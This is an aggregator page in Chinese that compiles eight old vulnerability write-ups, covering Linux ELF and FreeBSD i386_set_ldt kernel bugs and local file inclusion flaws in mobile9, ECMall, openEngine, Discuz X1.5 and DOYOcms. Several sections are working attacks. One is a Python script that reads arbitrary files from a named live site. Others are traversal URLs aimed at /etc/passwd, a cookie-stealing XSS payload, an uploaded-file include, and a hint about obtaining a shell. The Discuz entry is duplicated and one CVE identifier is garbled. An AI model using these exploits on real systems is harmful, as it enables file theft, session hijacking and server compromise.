Linux Kernel ELF文件跨区域映射本地拒绝服务漏洞

时间:2023-09-01 08:55:22 其他范文 收藏本文 下载本文

Linux Kernel ELF文件跨区域映射本地拒绝服务漏洞(集锦8篇)由网友“再吃一口”投稿提供,下面是小编为大家整理后的Linux Kernel ELF文件跨区域映射本地拒绝服务漏洞,供大家参考借鉴,希望可以帮助您。

Linux Kernel ELF文件跨区域映射本地拒绝服务漏洞

篇1:Linux Kernel ELF文件跨区域映射本地拒绝服务漏洞

受影响系统:Linux kernel <= 2.6.17.8不受影响系统:Linux kernel 2.6.17.11描述:

BUGTRAQ  ID: 19702

CVE(CAN) ID: CVE--4538

Linux Kernel是开放源码操作系统Linux所使用的内核,

Linux Kernel的IA64和SPARC平台版本在处理某些ELF文件时存在漏洞,可能在跨区域映射时导致系统崩溃,本地攻击者可能利用此漏洞对系统执行拒绝服务攻击,

<*来源:Kirill Korotaev (dev@sw.ru)

链接:secunia.com/advisories/2/

lkml.org/lkml/2006/9/4/116

*>

建议:

厂商补丁:

Linux

-----

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

www.kernel.org/pub/linux/kernel/v2.6/patch-2.6.17.11.gz

篇2:FreeBSD I386SetLDT多个本地拒绝服务漏洞

受影响系统:FreeBSD FreeBSD 5.5

FreeBSD FreeBSD 5.4

FreeBSD FreeBSD 5.3

FreeBSD FreeBSD 5.2描述:

BUGTRAQ  ID: 8

CVE(CAN) ID: CVE-2006-4178,CVE-2006-4172

FreeBSD就是一种运行在Intel平台上、可以自由使用的开放源码Unix类系统,

FreeBSD中的i386_set_ldt调用允许用户系统的程序动态管理每个进程的本地描述符表。由于使用了有符号的整数且缺少输入验证,内核中bzero可能会被要求处理很大的参数,漏洞代码如下:

415        int error = 0, i;

416        int largest_ld;

..

449                largest_ld = uap->start + uap->num;

450                if (largest_ld >pldt->ldt_len)

451                        largest_ld = pldt->ldt_len;

452                i = largest_ld - uap->start;

453                bzero(&((union descriptor *)(pldt->ldt_base))[uap->start],

454                    sizeof(union descriptor) * i);

在415和416行,“i”和“largest_ld”变量都是有符的整数。在449行,同时添加了uap->start和uap->num,这两个变量都是用户控制的且没有经过正确的检查。在452行,可以将“i”设置为很大的负值,导致在453行以很大的长度参数调用bzero。无效的内存访问会导致内核忙碌。

i386_set_ldt()系统调用会在LDT中设置当前进程的i386描述符列表。该调用接受一个开始选择器数(start)、包含有将要设置描述符的内存数组(descs),以及将要设置的条目数(num)。用户在通过sysarch()调用i386_set_ldt()时,如果将start参数设置为很低的整数值、将descs设置为非空的值,并将num设置为很高的无符整数值,就会触发largest_ld和descs_size(533和540行)中的整数溢出,导致耗尽所有可用的系统资源(541行)。此外还可以将start参数设置为低整数值、descs设置为空、num设置为很高的无符整数值触发largest_ld(515行)中的整数溢出,导致删除系统中的敏感数据(519和520行)。有漏洞的函数如下:

476 static int

477 i386_set_ldt(td, args)

478        struct thread *td;

479        char *args;

480 {

481        int error = 0, i;

482        int largest_ld;

483        struct mdproc *mdp = &td->td_proc->p_md;

484        struct proc_ldt *pldt = 0;

485        struct i386_ldt_args ua, *uap = &ua;

486        union descriptor *descs, *dp;

487        int descs_size;

488

489        if ((error = copyin(args, uap, sizeof(struct

i386_ldt_args))) < 0)

490                return(error);

491

492 #ifdef  DEBUG

493        printf(“i386_set_ldt: start=%d num=%d descs=%p\n”,

494            uap->start, uap->num, (void *)uap->descs);

495 #endif

496

497        if (uap->descs == NULL) {

498                /* Free descriptors */

499                if (uap->start == 0 && uap->num == 0) {

500                        /*

501                          * Treat this as a special case, so userland

needn't

502                          * know magic number NLDT.

503                          */

504                        uap->start = NLDT;

505                        uap->num = MAX_LD - NLDT;

506                }

507                if (uap->start <= LUDATA_SEL || uap->num <= 0)

508                        return (EINVAL);

509                mtx_lock_spin(&sched_lock);

510                pldt = mdp->md_ldt;

511                if (pldt == NULL || uap->start >= pldt->ldt_len) {

512                        mtx_unlock_spin(&sched_lock);

513                        return (0);

514                }

515                largest_ld = uap->start + uap->num;

516                if (largest_ld >pldt->ldt_len)

517                        largest_ld = pldt->ldt_len;

518                i = largest_ld - uap->start;

519                bzero(&((union descriptor

*)(pldt->ldt_base))[uap->start],

520                    sizeof(union descriptor) * i);

521                mtx_unlock_spin(&sched_lock);

522                return (0);

523        }

524

525        if (!(uap->start == LDT_AUTO_ALLOC && uap->num == 1)) {

526                /* complain a for a while if using old methods */

527                if (ldt_warnings++ < NUM_LDT_WARNINGS) {

528                        printf(“Warning: pid %d used static ldt

allocation.\n”,

529                            td->td_proc->p_pid);

530                        printf(“See the i386_set_ldt man page for

more info\n”);

531                }

532                /* verify range of descriptors to modify */

533                largest_ld = uap->start + uap->num;

534                if (uap->start >= MAX_LD ||

535                    uap->num < 0 || largest_ld >MAX_LD) {

536                        return (EINVAL);

537                }

538        }

539

540        descs_size = uap->num * sizeof(union descriptor);

541        descs = (union descriptor *)kmem_alloc(kernel_map, descs_size);

542        if (descs == NULL)

543                return (ENOMEM);

544        error = copyin(uap->descs, descs, descs_size);

545        if (error) {

546                kmem_free(kernel_map, (vm_offset_t)descs, descs_size);

547                return (error);

548        }

549

<*来源:Adriano Lima (adriano@risesecurity.org)

Rodrigo Rubira Branco (rodrigo@risesecurity.org)

链接:marc.theaimsgroup.com/?l=bugtraq&m=115919812814071&w=2

www.idefense.com/intelligence/vulnerabilities/display.php?id=415

www.idefense.com/intelligence/vulnerabilities/display.php?id=414

*>

建议:

厂商补丁:

FreeBSD

-------

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

www.freebsd.org/security/

篇3:mobile9 本地文件包含漏洞

因为他是base64编码的手工测试很麻烦就写了个小工具,高手飘过

import urllib2,sys

import httplib

import base64,time

if len(sys.argv) <= 2:

print “=” * 30

print “mobile9.com local exploit by cnb|rd Qq:441303228”

print “Email:Linuxrootkit@gmail.com”

print “=” * 30

print

print “usage: ” + sys.argv[0] + “ hostname ” + “ local file ”

print

sys.exit(1)

host = sys.argv[1]

path = sys.argv[2]

file = sys.argv[3]

h = httplib.HTTP(host)

h.putrequest(“HEAD”, path)

h.putheader(“Host”, host)

h.endheaders()

okresp, reason, headers = h.getreply()

print “=” * 30

print host + “ Server Banner is ” + headers.get(“Server”)

print “=” * 30

print “Local file to read is ” + file

time = int(time.time())

serverpath = “/download/content_delivery.php?key=”

str = str(file) + “|” + str(time) + “|”

print str

base64file = base64.urlsafe_b64encode(str)

requestpath = serverpath + base64file

print base64file

print requestpath

f = httplib.HTTPConnection(host)

f.request('GET', requestpath)

print f.getresponse().read()

f.close

CSDN博客cnbird2008

篇4:ECMall本地文件包含漏洞

by Ryat

bbs.wolvez.org

respond.php 48行

$pay_code = !empty($_REQUEST['code']) ? trim($_REQUEST['code']) : '';

...

$plugin_file = ROOT_PATH . '/includes/payment/' . $pay_code . '.php';

if (is_file($plugin_file))

{

include_once($plugin_file);很明显的一个bug

利用的话可以参考flyh4t提到过[bbs.wolvez.org/topic/56/]的一个思路:

可以通过旁注拿个shell,然后写个main.php到/tmp目录下,然后包含之

篇5:openEngine 2.0 100226 本地文件包含和跨站脚本漏洞

openEngine是一款使用PHP开发的Web内容管理系统,openEngine 2.0 100226存在本地包含及跨站脚本漏洞,可能导致敏感信息泄露,

[+]info:

~~~~~~~~~

openEngine 2.0 100226 LFI and XSS Vulnerabilities

Vendor : www.openengine.de

Advisory : secpod.org/blog/?p=152

secpod.org/advisories/SECPOD_Openengine_LFI_XSS_Vuln.txt

Version : openEngine 2.0 100226; other versions may also be affected.

Download : www.openengine.de/download/openengine20_100226.zip

Date : 11/16/

[+]poc:

~~~~~~~~~

* local file inclusion,

localhost/cms/website.php?template=../../../../../../../../etc/passwd%00

* XSS,

alert(document.cookie)localhost/cms/website.php?template=

[+]Reference:

~~~~~~~~~

secpod.org/advisories/SECPOD_Openengine_LFI_XSS_Vuln.txt

出自:BugZone

篇6:DISCUZX1.5 本地文件包含漏洞漏洞预警

DISCUZX1.5 本地文件包含,当然是有条件的,就是使用文件作为缓存,

config_global.php

$_config['cache']['type'] = 'file';

function cachedata($cachenames) {

......

$isfilecache = getglobal('config/cache/type') == 'file';

......

if($isfilecache) {

$lostcaches = array;

foreach($cachenames as $cachename) {

if(!@include_once(DISCUZ_ROOT.'./data/cache/cache_'.$cachename.'.php')) {

$lostcaches[] = $cachename;

}

}

......

}

地址:

localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc

localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc

Authracation has expiried

执行了 api/uc.php 页面代码了,

作者: Jannock

篇7:DOYOcms 本地文件包含漏洞漏洞预警

这是这套CMS ,这个很简洁,。。

这里的$handle_controller = syClass($__controller, null, $GLOBALS['G_DY'][“controller_path”].'/'.$__controller.“.php”);

接下来往下看

这里的$sdir 没有经过任何过滤来的,然后看下这个import函数

这里直接包含了该文件

require($sfilename);

所以结合前面的

$GLOBALS['G_DY'][“controller_path”].'/'.$__controller.“.php”

$__controller是我们可控的变量,也没有经过任何过滤,我们想可以通过%00截断,然后包含我们上传的文件就达到了目的

这也就是鸡肋的地方了,如果要截断,要保证php版本小于5.4(我自己也记不太清了) 因为高版本的修复了该截断的漏洞,

然后这里要保证魔术常量是关闭的。

下图就是成功包含的图

Exp:

localhost/test/index.php?c=../uploads//06/1.gif%00&a=type&tid=1

篇8:DISCUZ X1.5 本地文件包含漏洞

DISCUZX1.5 本地文件包含,当然是有条件的,就是使用文件作为缓存, config_global.php $_config['cache']['type'] = ‘file’; function cachedata($cachenames) { …… $isfilecache = getglobal(‘config/cache/

DISCUZX1.5 本地文件包含,当然是有条件的,就是使用文件作为缓存。

config_global.php

$_config['cache']['type'] = ‘file’;

function cachedata($cachenames) {

……

$isfilecache = getglobal(‘config/cache/type’) == ‘file’;

……

if($isfilecache) {

$lostcaches = array();

foreach($cachenames as $cachename) {

if(!@include_once(DISCUZ_ROOT.’./data/cache/cache_’.$cachename.’.php’)) {

$lostcaches[] = $cachename;

}

}

……

}

地址:

localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/uc

localhost:8080/bbs/forum.php?mod=post&action=threadsorts&sortid=ygjgj/../../../api/ucAuthracation has expiried

执行了 api/uc.php 页面代码了,

作者: Jannock

hibernate配置文件映射文件

控制协议

Windows 服务器的安全防护林

DNS系列一:DNS查询原理

金山毒霸中小企业网络安全解决方案安全方案

Windows 安全审核让入侵者无处遁形服务器教程

Windows NT4.0 OS repair网络服务器

浅谈基于网络平台的信息传播多元化整合路径研究优秀论文

Windows系统安全设置方法中级安全篇服务器教程

详谈Windows Server 安全日志

Linux Kernel ELF文件跨区域映射本地拒绝服务漏洞
《Linux Kernel ELF文件跨区域映射本地拒绝服务漏洞.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

【Linux Kernel ELF文件跨区域映射本地拒绝服务漏洞(集锦8篇)】相关文章:

如何设置一个高容量的Linux POP3服务器服务器教程2023-01-21

酒销售代理协议书2022-10-02

WIN技巧:ExchangeOutlookWebAccess疑难解答2022-08-16

如何保障SQL数据库服务器的安全2023-10-02

微型电网在大电网背景下的应用探讨论文2023-01-07

如何解决局域网中网络邻居访问响应慢2023-07-09

网络最高安全指南Windows系统2023-03-07

win7共享文件提示没有权限打开该怎么办?2022-07-08

酒类区域总代理合同2023-08-07

医药销售代理合同范本2023-11-21

点击下载本文文档